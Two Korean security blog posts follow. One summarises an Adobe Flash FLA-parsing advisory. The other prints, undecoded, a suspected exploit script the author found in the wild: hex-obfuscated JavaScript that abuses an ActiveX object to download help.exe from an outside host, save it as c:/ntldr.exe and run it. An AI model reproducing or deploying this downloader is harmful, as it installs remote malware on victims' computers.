                이 취약점은 그리 심각한 것은 아니라고 판단하였으며 아도브 플래시 CS3와 매크로미디어 플래시 MX 2004 버전에서 발생합니다.

                취약점을 이용하여 공격자는 원격에서 시스템에 접근할 수 있게 되므로 주의해야 합니다.

                취약점은 특수하게 조작된 FLA 파일을 파싱할 때에 알 수 없는 오류 때문에 발생합니다. 공격을 성공하게 되는 경우에는 조작한 FLA 파일을 여는 동안에 의도한 코드를 실행할 수 있습니다.

                아직 아도브 사에서 패치가 출시되지 않은 상태이므로 믿을 수 없는 FLA 파일은 가급적 열거나 하는 등의 주의가 필요합니다.

                출처
                :
                아도브 사:
                http://www.adobe.com/support/security/advisories/apsa08-03.html

                cocoruder:
                http://ruder.cdut.net/blogview.asp?logID=241

                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  혹시 파이어폭스로 인터넷 서핑하다가 help.js를 다운로드한다는 팝업창이 나온 적이 있나요?

                  오늘 여러 사이트를 방문하다가 하나를 찾아 내서 다운로드하여 보았는데,

                  정확한 코드는 분석을 해봐야겠지만,

                  그냥 느낌에는 '익스플로잇'으로 보입니다.

                  아래는 소스 코드 입니다.

                  졸려서 아직 사이트가 어디였는지를 '재현'하고 있지 못합니다. T.T..

                  일단 자고, 내일 찾아 봐야겠습니다.

                  document.writeln("<script language=javascript>");
                  document.writeln("try");
                  document.writeln("{");
                  document.writeln("    eval(\"\\x76\\x61\\x72\\x20\\x64\\x66\\x20\\x3D\\x20\\x64\\x6F\\x63\\x75\\x6D\\x65\\x6E\\x74\\x2E\\x63\\x72\\x65\\x61\\x74\\x65\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x28\\x27\\x6F\\x62\\x6A\\x65\\x63\\x74\\x27\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x64\\x66\\x2E\\x73\\x65\\x74\\x41\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x28\\x27\\x63\\x6C\\x61\\x73\\x73\\x69\\x64\\x27\\x2C\\x27\\x63\\x6C\\x73\\x69\\x64\\x3A\\x42\\x44\\x39\\x36\\x43\\x35\\x35\\x36\\x2D\\x36\\x35\\x41\\x33\\x2D\\x31\\x31\\x44\\x30\\x2D\\x39\\x38\\x33\\x41\\x2D\\x30\\x30\\x43\\x30\\x34\\x46\\x43\\x32\\x39\\x45\\x33\\x36\\x27\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x76\\x61\\x72\\x20\\x78\\x50\\x6F\\x73\\x74\\x3D\\x64\\x66\\x2E\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x28\\x27\\x4D\\x69\\x63\\x72\\x6F\\x73\\x6F\\x66\\x74\\x2E\\x58\\x4D\\x4C\\x48\\x54\\x54\\x50\\x27\\x2C\\x27\\x27\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x78\\x50\\x6F\\x73\\x74\\x2E\\x4F\\x70\\x65\\x6E\\x28\\x27\\x47\\x45\\x54\\x27\\x2C\\x27\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x77\\x77\\x77\\x2E\\x67\\x69\\x73\\x61\\x37\\x39\\x2E\\x63\\x6F\\x6D\\x2F\\x68\\x65\\x6C\\x70\\x2E\\x65\\x78\\x65\\x27\\x2C\\x30\\x29\\x3B\");");
                  document.writeln("");
                  document.writeln("    eval(\"\\x78\\x50\\x6F\\x73\\x74\\x2E\\x53\\x65\\x6E\\x64\\x28\\x29\\x3B\\x76\\x61\\x72\\x20\\x73\\x47\\x65\\x74\\x3D\\x64\\x66\\x2E\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x28\\x27\\x41\\x44\\x4F\\x44\\x42\\x2E\\x53\\x74\\x72\\x65\\x61\\x6D\\x27\\x2C\\x27\\x27\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x73\\x47\\x65\\x74\\x2E\\x4D\\x6F\\x64\\x65\\x3D\\x33\\x3B\\x73\\x47\\x65\\x74\\x2E\\x54\\x79\\x70\\x65\\x3D\\x31\\x3B\\x73\\x47\\x65\\x74\\x2E\\x4F\\x70\\x65\\x6E\\x28\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x73\\x47\\x65\\x74\\x2E\\x57\\x72\\x69\\x74\\x65\\x28\\x78\\x50\\x6F\\x73\\x74\\x2E\\x52\\x65\\x73\\x70\\x6F\\x6E\\x73\\x65\\x42\\x6F\\x64\\x79\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x73\\x47\\x65\\x74\\x2E\\x53\\x61\\x76\\x65\\x54\\x6F\\x46\\x69\\x6C\\x65\\x28\\x27\\x63\\x3A\\x2F\\x6E\\x74\\x6C\\x64\\x72\\x2E\\x65\\x78\\x65\\x27\\x2C\\x32\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x76\\x61\\x72\\x20\\x78\\x20\\x3D\\x20\\x64\\x66\\x2E\\x43\\x72\\x65\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x28\\x27\\x77\\x73\\x63\\x72\\x69\\x70\\x74\\x2E\\x73\\x68\\x65\\x6C\\x6C\\x27\\x2C\\x27\\x27\\x29\\x3B\");");
                  document.writeln("    eval(\"\\x78\\x2E\\x72\\x75\\x6E\\x28\\x27\\x63\\x3A\\x2F\\x6E\\x74\\x6C\\x64\\x72\\x2E\\x65\\x78\\x65\\x27\\x2C\\x30\\x29\\x3B\");");
                  document.writeln("    eval(\"\");");
                  document.writeln("    ");
                  document.writeln("}");
                  document.writeln("catch (error)");
                  document.writeln("{");
                  document.writeln("}");
                  document.writeln("<\/script>");
                  document.writeln("");
                  document.writeln("");
                  document.writeln("")

                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus


                    Web Analytics Blogs Directory